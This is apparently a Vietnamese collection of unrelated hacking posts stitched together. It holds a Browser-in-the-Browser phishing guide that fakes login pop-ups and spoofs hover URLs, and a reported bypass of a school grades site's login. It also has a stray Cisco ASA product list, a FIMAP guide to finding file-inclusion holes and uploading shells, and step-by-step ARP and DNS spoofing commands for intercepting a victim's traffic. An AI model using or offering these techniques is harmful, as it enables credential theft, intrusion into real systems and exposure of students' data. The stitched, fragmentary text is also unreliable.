Giới thiệu

Đối với các chuyên gia bảo mật, URL thường là phần đáng tin cậy nhất của domain. Nhưng các cuộc tấn công như IDN Homograph và DNS Hijacking có thể làm giảm độ tin cậy của URL nhưng không đến mức làm cho URL không đáng tin cậy.

Tất cả những điều này cuối cùng khiến mình suy nghĩ, liệu có thể làm cho lời khuyên “Kiểm tra URL” kém tin cậy hơn không? Sau một tuần cân não, mình quyết định rằng câu trả lời là có.

Cửa sổ đăng nhập dạng pop-up

Khá thường xuyên khi chúng ta xác thực một trang web thông qua Google, Microsoft, Apple,… chúng tađược cung cấp một cửa sổ bật lên yêu cầu chúng ta xác thực. Hình ảnh bên dưới cho thấy cửa sổ bật lên xuất hiện khi ai đó cố gắng đăng nhập vào Canva bằng tài khoản Google của họ.

Nhân rộng cửa sổ

Việc tạo ra một cửa sổ popup bằng HTML/CSS cơ bản là khá đơn giản. Kết hợp thiết kế cửa sổ với iframe trỏ đến máy chủ độc hại lưu trữ trang lừa đảo và về cơ bản không thể phân biệt được. Hình ảnh dưới đây cho thấy cửa sổ giả so với cửa sổ thật. Rất ít người sẽ nhận thấy sự khác biệt nhỏ giữa hai cửa sổ này.

JavaScript có thể dễ dàng được sử dụng để làm cho cửa sổ xuất hiện trên một liên kết hoặc nhấp vào nút, khi tải trang,…. Và tất nhiên bạn có thể làm cho cửa sổ xuất hiện một cách trực quan hấp dẫn thông qua các hoạt ảnh có sẵn trong các thư viện như JQuery.

Demo

Tuỳ chỉnh URL khi di chuột

Di chuột qua một URL để xác định xem URL đó có hợp lệ không, không hiệu quả lắm khi JavaScript được cho phép. HTML có một liên kết thường trông giống như sau:

<a href="https://gmail.com">Google</a>

Nếu sự kiện onclick trả về false được thêm vào, thì việc di chuột qua liên kết sẽ tiếp tục hiển thị trang web trong thuộc tính href nhưng khi liên kết được nhấp thì thuộc tính href bị bỏ qua. Chúng ta có thể sử dụng kiến ​​thức này để làm cho cửa sổ bật lên trông thực tế hơn.

<a href="https://gmail.com" onclick="return launchWindow();">Google</a>

function launchWindow(){
    // Bật cửa sổ giả
    return false; // Đảm bảo thuộc tính href bị bỏ qua
}

Các mẫu có sẵn

Tác giả đã tạo 2 mẫu cho hệ điều hành và trình duyệt sau:

• Windows – Chrome (Light & Dark Mode)
• Mac OSX – Chrome (Light & Dark Mode)

Các mẫu này có sẵn trên Github tại đây.

Khi tải source code về, các bạn mở file index.html lên và thay đổi một số chỗ như sau:

• XX-TITLE-XX – Tiêu đề hiển thị cho trang (ví dụ: Sign in to your account now)
• XX-DOMAIN-NAME-XX – Tên miền bạn đang giả mạo. (ví dụ: gmail.com)
• XX-DOMAIN-PATH-XX – Đường dẫn tên miền (ví dụ: /auth/google/login)
• XX-PHISHING-LINK-XX – Liên kết lừa đảo sẽ được nhúng vào iFrame (ví dụ: https://example.com)

Và đây là kết quả. Ngoài ra, nếu đang sử dụng mẫu Windows, bạn nên cập nhật file logo.svg, biểu tượng của trang web mà bạn đang giả mạo. Logo mặc định là của Microsoft.

Thư mục Windows-DarkMode-Delay sử dụng hàm fadeIn() của jQuery để thêm độ trễ nhỏ vào cửa sổ bật lên khi nó xuất hiện.

Kết luận

Với kỹ thuật này, giờ đây chúng ta có thể cải tiến các trò chơi lừa đảo của mình. Người dùng mục tiêu vẫn cần truy cập trang web của bạn để cửa sổ bật lên được hiển thị. Nhưng khi đã truy cập vào trang web do kẻ tấn công sở hữu, người dùng sẽ cảm thấy thoải mái khi họ nhập thông tin đăng nhập của họ vì URL trông rất đáng tin cậy.

Câu hỏi thường gặp

BITB là gì và nó hoạt động như thế nào?

BITB (Browser In The Browser) là một kỹ thuật tấn công lừa đảo tạo ra một cửa sổ trình duyệt giả mạo bên trong trình duyệt của nạn nhân. Nó mô phỏng cửa sổ đăng nhập hợp pháp, thường xuất hiện dạng pop-up, để đánh cắp thông tin đăng nhập.

Làm thế nào để phân biệt cửa sổ BITB với cửa sổ đăng nhập thật?

Cửa sổ BITB được thiết kế để trông giống hệt cửa sổ thật, khiến việc phân biệt trở nên khó khăn. Tuy nhiên, kiểm tra kỹ URL và xem xét bất kỳ sự bất thường nào trong giao diện hoặc hành vi của cửa sổ bật lên là những cách để phát hiện.

Tôi có thể tự bảo vệ mình khỏi tấn công BITB như thế nào?

Luôn kiểm tra kỹ URL của trang web trước khi nhập thông tin đăng nhập. Cẩn trọng với các cửa sổ bật lên bất ngờ và không nhấp vào liên kết không đáng tin cậy. Sử dụng phần mềm diệt virus và cập nhật trình duyệt thường xuyên cũng rất quan trọng.

Mình sẽ chỉ bạn cách đăng nhập không cần mật khẩu để chứng minh lỗi đăng nhập của VNPT Long An. Nếu bạn có thể liên lạc được với lãnh đạo hoặc người điều hành website này, hãy thông báo với họ về lỗi này nhé !

Cách đăng nhập vào Website VNPT không cần mật khẩu

Thông thường, khi phụ huynh đã đăng ký dịch vụ tra cứu điểm online thì sẽ có mật khẩu để xem điểm. Để có thể xem được điểm của học sinh, phụ huynh phải điền đúng số điện thoại và mật khẩu đã đăng ký tại trang chủ https://school.vnptlongan.vn/

Nếu đăng nhập đúng tài khoản và mật khẩu, thì bạn sẽ được chuyển đến trang xem điểm https://school.vnptlongan.vn/xem-diem

Nhưng đột nhiên mình thấy có một vài trục trặc trên website này. Mình xin phép không nói cụ thể về đoạn code bị lỗi . Tránh trường hợp Hacker khai thác và tấn công vào cơ sở dữ liệu. Bây giờ mình sẽ chứng minh lỗi đó cho bạn xem.

Mình có liên hệ một phụ huynh có con học tại Long An và có đăng ký dịch vụ xem điểm online. Mình điền vào số điện thoại đã đăng kí vào ô đăng nhập. Nhưng mật khẩu thì mình điền bậy bạ vì mình không có hỏi mật khẩu của người này.

Khi mình ấn đăng nhập thì sẽ bị báo mật khẩu sai như ảnh trên. Tuy nhiên, mình đổi địa chỉ truy cập thành trang xem điểm https://school.vnptlongan.vn/xem-diem thì lại xem được điểm của số điện thoại đó.

Tóm lược

Hệ thống đã thực hiện việc kiểm tra mật khẩu trên Cơ sở dữ liệu. Tuy nhiên, lại cấp quyền xem điểm cho số điện thoại đó. Mình nhập sai mật khẩu nhưng vẫn xem được điểm. Có lẽ đây là một lỗi đáng cân nhắc.

Mình không chụp ảnh điểm của học sinh đó vì mình tôn trọng quyền riêng tư của em ấy. Bạn nào đang là lập trình viên back-end thì nên lưu ý trường hợp này. Vì lỗi này sẽ khiến website trở nên mất uy tín và tin tưởng của người dùng.

Một website được xem là hoàn hảo khi cả hai yếu tố Front-end (Giao diện) và Back-end (Xử lý dữ liệu) đều ổn. Bài viết này là một bài học quý giá cho các bạn đang theo học lập trình web hướng Back-end.

Hi vọng website VNPT Long An sẽ được thông báo sớm về tình trạng lỗi này và khắc phục.

Tác giả 27NeverDie

(facebook.com/27hoangtieng)

Lỗ hổng này ảnh hưởng đến các sản phẩm CISCO ASA:

• Cisco ASA 5500 Series Adaptive Security Appliances
  
• Cisco ASA 5500-X Series Next-Generation Firewalls
  
• Cisco ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
  
• Cisco ASA 1000V Cloud Firewall
  
• Cisco Adaptive Security Virtual Appliance (ASAv)
  
• Cisco Firepower 9300 ASA Security Module
  
• Cisco ISA 3000 Industrial Security Appliance

FIMAP giúp nâng cao tốc độ và khả năng tăng cơ hội của chúng ta về việc tìm kiếm lỗ hổng.FIMAP tự đông hóa quá trình, nó có khả năng quét mục tiêu duy nhất , Dork google và quét từ danh sách tập tin.

Ngoài ra với công cụ FIMAP chúng ta có thể thu thập dữ liệu từ trang web mục tiêu và xuất ra thông tin dưới dạng danh sách được sử dụng sau đó để quét hàng loạt.
Yêu cầu hệ thống:
+ Python đã được cài đặt trên hệ thống https://www.python.org/download/releases/2.7/
+ Bản cài đặt FIMAP https://github.com/Oweoqi/fimap

OK nếu giả sử bạn đã có sẵn Python cài đặt, bạn sẽ download phiên bản mới nhất của FIMAP, giản nén ra thư mục cần chỉ rõ. Bạn sẽ cần phải mở dấu nhắc lệnh, cd đến thư mục chứa fimap .Bạn có thể gõ “-h fimap.py” để xem tùy chọn có sẵn

Bạn sẽ tìm thấy hầu hết các tùy chọn và các đối số được gắn với chế độ nào bạn đang sử dụng. Có bốn chế độ cơ bản: đơn quét, scan hàng loạt, Google quét, và chế độ thu hoạch. Để scan thực hiện LFI kiểm tra và kiểm tra đối với một url duy nhất. Bạn chỉ cần cung cấp các URL để quét

COMMAND: fimap.py -s -u http://target-site.com/index2.php?x=

Nếu bạn chỉ quét một trang web mục tiêu duy nhất bạn có thể quét bằng cách sử dụng chế độ Harvester đầu tiên để giúp tăng cơ hội tìm kiếm một liên kết dễ bị tổn thương.
COMMAND: fimap.py -H -u http://target-site.com/ -w output.txt

Chú ý: Bạn có thể xác định độ sâu thu thập dữ liệu bằng cách thêm “<số lượng trang để thu thập thông> -d” cờ, như là mặc định được thiết lập để 1

COMMAND: fimap.py -H -u http://target-site.com/ -d 3 -w output.txt

Bây giờ chúng ta có tập tin đầu ra, chúng ta có thể chuyển sang chế độ quét và kiểm tra tất cả các liên kết. Bạn chỉ cần file output.txt từ bước trên vào đường dẫn như sau:

COMMAND: fimap.py -m -l /path/to/list/output.txt


Nếu bạn muốn tìm kiếm với Google và sử dụng dorks Google, bạn có thể chuyển đổi chế độ và sử dụng cú pháp như sau:

COMMAND: fimap.py -g -q <Google Dorks> .Ta thử với dork inurl:index2.php?x=

Chú ý: Bạn có thể tiếp tục xác định các thông số quét Google bằng cách xác định thời gian trong giữa các yêu cầu Google bằng cách sử dụng “–googlesleep = <time>” và các trang để đọc cho kết quả từ việc sử dụng “-p <số trang>”. Nếu bạn xác định số lượng của các trang để trả lại bạn cũng có thể thêm số lượng các kết quả mỗi trang để sử dụng bằng cách sử dụng “–results = <10,25,50,100>”, với 100 là giá trị mặc định. Cú pháp đầy đủ sẽ như thế này:

COMMAND: fimap.py -g -q inurl: index2.php?x = –googlesleep = 5000 -p 15 -results = 50

Bạn có thể tìm thấy kết quả lưu trữ trong hai tập tin, mà bạn sẽ cần phải tìm kiếm trên hệ thống của bạn: fimap_results (xml) và fimap-log (txt). Hai tập tin chứa các kết quả được lưu trữ từ tất cả các lần quét của bạn. Bạn cũng có thể gõ “-x” để xem một danh sách các mục tiêu có thể thực hiện khai thác

COMMAND: fimap.py –x


Chọn shell cần upload và xem kết quả

Ta đã chạy shell trên máy chủ thành công.Việc còn lại tùy thuộc vào bạn
Ngoài ra fimap còn dùng để quét lỗ hổng RFI.Mình sẽ trình bày trong các bài sau
Hiện nay công cụ này vẫn còn đang được phát triển vì vậy các bạn có thể theo dõi các dự án để biết thêm thông tin.
Bạn có thể tìm thấy nó trong Kali http://tools.kali.org/web-applications/fimap

Chuẩn bị :
_ Backtrack 5 R3 (cái này cài lên máy ảo cho dễ xài.

_ Trên windows các bạn có thể dủng cain & abel để làm điều tương tự nhưng có thể ko linh động bằng
Link download BT : http://www.backtrack-linux.org/downloads/

_ Kết nối mạng LAN (tất nhiên )
_ Victim (cái này hơi thừa )

Phương pháp:

_Phương pháp là mình sử dụng có tên là Man-in-the-middle (MITM), phương pháp này rất hữu dụng và nguy hiểm cho người khác nếu attacker sử dụng giỏi. Bạn có thể :

+ Lấy được thông tin gửi đi từ máy victim (ID:pass, cookie, URL…)
+ Kiểm soát toàn bộ về mạng của victim, nói chung là ta làm chủ mạng.
Trong bài này mình sẽ hướng dẫn cách redirect mạng victim

Giới thiệu về MITM:

Trong bài viết này giả sử ta có 1 mạng LAN với :

Router ( IP:192.168.0.1)
Attacker ( IP:192.168.0.117)
Victim ( IP:192.168.0.104)

Lưu ý : các bạn muốn tìm được IP của victim thì sử dụng các chương trình scan mạng sẽ thấy hoặc sử dụng Nmap có sẵn của Backtrack ( hướng dẫn ở cuối bài )

Nguyên lý ở đây là ta sẽ mạo danh thành :
+ Đồi với máy victim : ta giả làm router
+ Đối với router : ta giả làm máy victim
Sơ đồ :
Bình thường :

Router <==> Victim
/\
||
||
\ /
Attacker

MITM:

Router <==> Attacker <==> Victim

Thực hiện:

Toàn bộ các bước sau đều thực hiện trong Terminal của Backtrack !!!

Đầu tiên ta port forward IP để không DOS mạng LAN do sự cố ( cái này mình chưa bị lần nào nhưng cứ cẩn thận vẫn hơn)

Code:

echo 1 > /proc/sys/net/ipv4/ip_forward

Sau đó ta gõ :

+ Trường hợp 1 ( biết được IP victim và nhắm tới chỉ 1 victim đó thôi ):

Code:

arpspoof -i <interface> -t <victim ip> <router ip>

mở terminal khác và gõ :

Code:

arpspoof -i <interface> -t <router ip> <victim ip>

+ Trường hợp 2 ( nhắm đến toàn mạng ):

arpspoof -i <interface> <router ip>

<ip> <website>

dnsspoof -i <interface> -f <đường dẫn đến file txt mới tạo>

Và sau đó ta ngồi chờ và xem kết quả.
<<—-KẾT THÚC—->>

<interface> : là card mạng sử dụng(thông thường là eth0 hoặc wlan0 nếu như sử dụng wifi). Các bạn có thể check với câu lệnh:
Code:

ifconfig

Hướng dẫn Scan IP:

Bạn mở Terminal lên và gõ :
Code:

nmap -T4 -O <ip>/24

Trong đó:
-T4 : chọn scan IPv4
-O : chọn scan hệ diều hành

Ví dụ: IP nhà mình bắt đầu bằng 192.168.0.xxx thì ta gõ :
Code:

nmap -T4 -O 192.168.0.0/24

lưu ý là ta gõ số 0 ở bit cuối cùng của IP, thay cho xxx. “/24” là prefix, cứ gõ nó vào dể scan toàn bộ mạng.

Kết quả là bạn sẽ nhận được 1 list IP trong mạng và hệ điều hành, nếu scan được.

Cách hóa giải khi làm xong :

Phía Attacker:
Ở mỗi Terminal bấm Ctrl+C để terminate, chương trình sẽ tự động set lại các giá trị.

Phía Victim:
Đợi 5 phút
-hoặc-
Start-Run-Cmd :
Code:

ipconfig/flushdns

<//—–@|-Update-|@—–\\>

Hướng dẫn config card mạng cho Virtual Box để sử dụng ==> Phải đọc<== (lý do là nếu không config mà để mặc định thì khi tấn công máy victim sẽ mất kết nối internet):

Chọn Setting

Nhấp vào thẻ Network
Ở mục “Attach to :” chọn “Bridged Adapter” rồi chọn card mạng đang sử dụng.

<<~~@\\_Update_//@~~>>

Link download Backtrack 5 R3 : http://www.backtrack-linux.org/downloads/
Xong !